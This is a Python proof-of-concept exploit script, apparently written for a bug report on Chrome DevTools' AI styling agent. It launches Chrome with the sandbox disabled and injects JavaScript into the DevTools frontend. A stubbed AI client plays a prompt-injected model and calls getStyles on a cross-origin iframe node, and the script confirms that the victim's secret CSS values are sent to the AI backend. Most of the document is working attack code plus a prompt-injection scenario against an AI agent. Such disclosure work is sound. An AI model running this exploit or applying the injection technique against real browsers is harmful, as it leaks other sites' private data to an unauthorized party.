#!/usr/bin/env python3
"""
POC: StylingAgent.getStyles resolves AI-supplied backendNodeIds with no
origin check — cross-origin in-process iframe CSS is returned and shipped
to AIDA as a functionResponse.

What this script does
---------------------
1. Serves attacker.html (a.example.com) embedding victim.html
   (b.example.com) — same-site / cross-origin → in-process on desktop.
2. Launches Chrome with --auto-open-devtools-for-tabs.
3. Attaches to the *DevTools frontend* page via CDP.
4. Inside the DevTools frontend, instantiates the real, unmodified
   StylingAgent with a stub aidaClient whose first response is a
   `getStyles` function call carrying the cross-origin victim node's
   backendNodeId (this is the deterministic stand-in for a
   prompt-injection-steered LLM response — the only part of the chain
   the report itself flags as non-deterministic).
5. Runs the agent with the attacker-origin <div> as the selected node
   (NodeContext origin = http://a.example.com:8080).
6. Captures the second AIDA request and shows that its
   `functionResponse` payload contains the victim iframe's authored CSS
   (--secret-token, background-image, content), proving #getStyles
   performed no origin check on the AI-supplied backendNodeId.

No Chromium source modifications are made; the StylingAgent code path
that runs is byte-identical to production.
"""

import json
import os
import shutil
import signal
import subprocess
import sys
import time
import urllib.request

import websocket  # pip install websocket-client

HERE = os.path.dirname(os.path.abspath(__file__))
CHROME = os.environ.get(
    'CHROME', '/chromium/chromium/src/out/asan/chrome')


def free_port():
    import socket
    s = socket.socket()
    s.bind(('127.0.0.1', 0))
    p = s.getsockname()[1]
    s.close()
    return p


HTTP_PORT = free_port()
DEBUG_PORT = free_port()
ATTACKER_URL = f'http://a.example.com:{HTTP_PORT}/attacker.html'
PROFILE = '/tmp/poc-styling-agent-profile'

VICTIM_SECRETS = ('VICTIM-SECRET-9f3c2a', 'LEAKED-SESSION-abc123',
                  'VICTIM-PRIVATE-CONTENT')


def log(*a):
    print('[poc]', *a, flush=True)


# ---------------------------------------------------------------------------
# Minimal CDP client
# ---------------------------------------------------------------------------
class CDP:
    def __init__(self, ws_url):
        self.ws = websocket.create_connection(ws_url, timeout=60)
        self._id = 0

    def send(self, method, **params):
        self._id += 1
        mid = self._id
        self.ws.send(json.dumps({'id': mid, 'method': method, 'params': params}))
        while True:
            msg = json.loads(self.ws.recv())
            if msg.get('id') == mid:
                if 'error' in msg:
                    raise RuntimeError(f'{method}: {msg["error"]}')
                return msg.get('result', {})
            # ignore events

    def close(self):
        try:
            self.ws.close()
        except Exception:
            pass


def list_targets():
    with urllib.request.urlopen(
            f'http://127.0.0.1:{DEBUG_PORT}/json', timeout=5) as r:
        return json.load(r)


def wait_targets(pred, timeout=60, what='target'):
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            for t in list_targets():
                if pred(t):
                    return t
        except Exception:
            pass
        time.sleep(0.5)
    raise TimeoutError(f'timed out waiting for {what}')


# ---------------------------------------------------------------------------
# Script evaluated INSIDE the DevTools frontend page.
# ---------------------------------------------------------------------------
DEVTOOLS_EXPLOIT_JS = r"""
(async () => {
  const SDK  = await import('./core/sdk/sdk.js');
  const Root = await import('./core/root/root.js');
  const AI   = await import('./models/ai_assistance/ai_assistance.js');

  // Precondition normally satisfied for a signed-in user with AI assistance
  // enabled. This is not the security boundary under test.
  Object.assign(Root.Runtime.hostConfig,
                {devToolsFreestyler: {enabled: true}});

  const tm = SDK.TargetManager.TargetManager.instance();
  let target = tm.primaryPageTarget();
  for (let i = 0; i < 100 && !target; i++) {
    await new Promise(r => setTimeout(r, 100));
    target = tm.primaryPageTarget();
  }
  if (!target) throw new Error('no primary page target');

  // Ensure DevTools is inspecting the attacker page (in headless mode the
  // initial about:blank/new-tab may have been picked up first).
  let url = target.inspectedURL();
  if (!url || !url.includes('a.example.com')) {
    const rt = target.model(SDK.ResourceTreeModel.ResourceTreeModel);
    await rt.navigate('__ATTACKER_URL__');
    for (let i = 0; i < 100; i++) {
      await new Promise(r => setTimeout(r, 100));
      url = target.inspectedURL();
      if (url && url.includes('a.example.com')) break;
    }
    // Allow subframe to load.
    await new Promise(r => setTimeout(r, 1500));
  }

  const domModel = target.model(SDK.DOMModel.DOMModel);
  // Ensures DOM + CSS agents are enabled on the target.
  target.model(SDK.CSSModel.CSSModel);

  // Walk the in-process frame tree via the front-end DOMModel — this is
  // exactly what the Elements panel does when the user expands the tree,
  // and it assigns sequential backendNodeIds to victim-iframe nodes.
  const doc = await domModel.requestDocument();
  // Populate the full front-end DOM tree, piercing in-process subframes
  // (mirrors the Elements panel's "expand recursively" — this is the
  // "prior DevTools activity" assumption from the report).
  const all = [];
  async function walk(n) {
    if (!n) return;
    all.push(n);
    if (!n.children() || !n.children().length) {
      await n.getSubtree(50, true);
    }
    for (const k of (n.children() || [])) await walk(k);
    const cd = n.contentDocument && n.contentDocument();
    if (cd) await walk(cd);
  }
  await walk(doc);

  let baitNode = null, vaultNode = null, victimDocURL = null;
  for (const n of all) {
    const id = n.getAttribute ? n.getAttribute('id') : undefined;
    if (id && id.startsWith('bait_')) baitNode = n;
    if (id === 'vault') vaultNode = n;
    if (n.nodeName() === 'IFRAME') {
      const cd = n.contentDocument();
      if (cd) victimDocURL = cd.documentURL;
    }
  }
  if (!baitNode) throw new Error(
      'bait div not found; inspectedURL=' + target.inspectedURL() +
      ' tree=' + JSON.stringify(all.map(n => n.nodeName())));
  if (!vaultNode) throw new Error(
      'victim #vault not reachable on parent target '
      + '(iframe is out-of-process — bug precondition not met). '
      + 'tree=' + JSON.stringify(all.map(n => n.nodeName())));

  const baitId  = baitNode.backendNodeId();
  const vaultId = vaultNode.backendNodeId();

  // ---- Stub AIDA client: deterministic stand-in for a
  // ---- prompt-injection-steered LLM. ----
  const captured = [];
  let call = 0;
  const aidaClient = {
    async * doConversation(req) {
      captured.push({
        current_message: JSON.parse(JSON.stringify(req.current_message)),
      });
      if (call++ === 0) {
        yield {
          explanation: '',
          metadata: {rpcGlobalId: 1},
          completed: true,
          functionCalls: [{
            name: 'getStyles',
            args: {
              explanation:
                  'prompt-injection told me to scan these uids',
              // seed (attacker) + victim. Distance shown below proves a
              // small linear scan would also hit it.
              elements: [baitId, vaultId],
              styleProperties:
                  ['--secret-token', 'background-image', 'content'],
            },
          }],
        };
      } else {
        yield {
          explanation: 'done', metadata: {rpcGlobalId: 2}, completed: true,
        };
      }
    },
    registerClientEvent() { return Promise.resolve({}); },
  };

  const ctx = new AI.StylingAgent.NodeContext(baitNode);
  const agent = new AI.StylingAgent.StylingAgent({
    aidaClient,
    serverSideLoggingEnabled: false,
  });

  let actionOutput = null;
  for await (const r of agent.run('why is this red?', {selected: ctx})) {
    if (r.type === 'action' && r.output) actionOutput = r.output;
  }

  return JSON.stringify({
    contextOrigin: ctx.getOrigin(),
    victimDocumentURL: victimDocURL,
    seedBackendId: baitId,
    victimBackendId: vaultId,
    idDelta: vaultId - baitId,
    initialPromptToAida:
        captured[0]?.current_message?.parts?.[0]?.text?.slice(0, 800),
    functionResponseSentToAida: captured[1]?.current_message,
    getStylesActionOutput: actionOutput,
  }, null, 2);
})()
"""


def main():
    if shutil.which('python3') is None:
        sys.exit('python3 required')

    # 1. HTTP server for attacker + victim pages.
    env = dict(os.environ, POC_PORT=str(HTTP_PORT))
    srv = subprocess.Popen([sys.executable, os.path.join(HERE, 'server.py')],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL,
                           env=env)
    log(f'http server pid={srv.pid} port={HTTP_PORT}')
    # Wait for server to be reachable.
    for _ in range(50):
        try:
            urllib.request.urlopen(
                f'http://127.0.0.1:{HTTP_PORT}/attacker.html',
                timeout=1).read()
            break
        except Exception:
            time.sleep(0.1)
    else:
        srv.terminate()
        sys.exit('http server never came up')

    # 2. Chrome.
    if os.path.isdir(PROFILE):
        shutil.rmtree(PROFILE, ignore_errors=True)
    chrome_cmd = [
        CHROME,
        '--headless=new',
        '--no-sandbox',
        '--disable-gpu',
        '--no-first-run',
        '--no-default-browser-check',
        f'--user-data-dir={PROFILE}',
        f'--remote-debugging-port={DEBUG_PORT}',
        '--remote-allow-origins=*',
        '--auto-open-devtools-for-tabs',
        '--host-resolver-rules=MAP *.example.com 127.0.0.1',
        ATTACKER_URL,
    ]
    log('launching chrome…')
    chrome = subprocess.Popen(chrome_cmd, stdout=subprocess.DEVNULL,
                              stderr=subprocess.DEVNULL)

    devtools_cdp = None
    try:
        # 3. Wait for the inspected page target.
        page = wait_targets(
            lambda t: t.get('type') == 'page' and 'a.example.com' in t.get('url', ''),
            what='attacker page')
        log('attacker page target:', page['url'])

        # 4. Wait for the DevTools frontend target.
        dtt = wait_targets(
            lambda t: t.get('url', '').startswith('devtools://'),
            what='devtools frontend')
        log('devtools frontend target:', dtt['url'])

        # Give DevTools a moment to attach to the page and load modules.
        time.sleep(4)

        # 5. Evaluate the exploit script inside the DevTools frontend.
        devtools_cdp = CDP(dtt['webSocketDebuggerUrl'])
        devtools_cdp.send('Runtime.enable')
        log('running StylingAgent inside DevTools frontend…')
        res = devtools_cdp.send(
            'Runtime.evaluate',
            expression=DEVTOOLS_EXPLOIT_JS.replace('__ATTACKER_URL__',
                                                   ATTACKER_URL),
            awaitPromise=True,
            returnByValue=True,
            timeout=60000,
        )
        if 'exceptionDetails' in res:
            log('EXCEPTION in devtools frontend:')
            print(json.dumps(res['exceptionDetails'], indent=2))
            return 1
        payload = json.loads(res['result']['value'])

        # 6. Verdict.
        print('\n' + '=' * 72)
        print('RESULT')
        print('=' * 72)
        print(json.dumps(payload, indent=2))
        print('=' * 72)

        fr = json.dumps(payload.get('functionResponseSentToAida') or {})
        leaked = [s for s in VICTIM_SECRETS if s in fr]
        cross_origin = (payload.get('contextOrigin') and
                        'a.example.com' in payload['contextOrigin'] and
                        payload.get('victimDocumentURL') and
                        'b.example.com' in payload['victimDocumentURL'])
        log(f'conversation context origin = {payload.get("contextOrigin")!r}')
        log(f'victim node documentURL     = {payload.get("victimDocumentURL")!r}')
        log(f'seed backendNodeId={payload.get("seedBackendId")} '
            f'victim backendNodeId={payload.get("victimBackendId")} '
            f'delta={payload.get("idDelta")}')
        if cross_origin and leaked:
            print(f'\n[poc] SUCCESS: cross-origin authored CSS '
                  f'({", ".join(leaked)}) was returned by '
                  f'StylingAgent.#getStyles for an attacker-origin '
                  f'conversation and packaged as the next AIDA '
                  f'functionResponse without any origin check.')
            return 0
        print('\n[poc] FAILED: victim CSS not present in functionResponse '
              '(see output above).')
        return 1
    finally:
        if devtools_cdp:
            devtools_cdp.close()
        chrome.send_signal(signal.SIGTERM)
        try:
            chrome.wait(10)
        except Exception:
            chrome.kill()
            chrome.wait()
        srv.terminate()
        try:
            srv.wait(5)
        except Exception:
            srv.kill()
            srv.wait()


if __name__ == '__main__':
    sys.exit(main())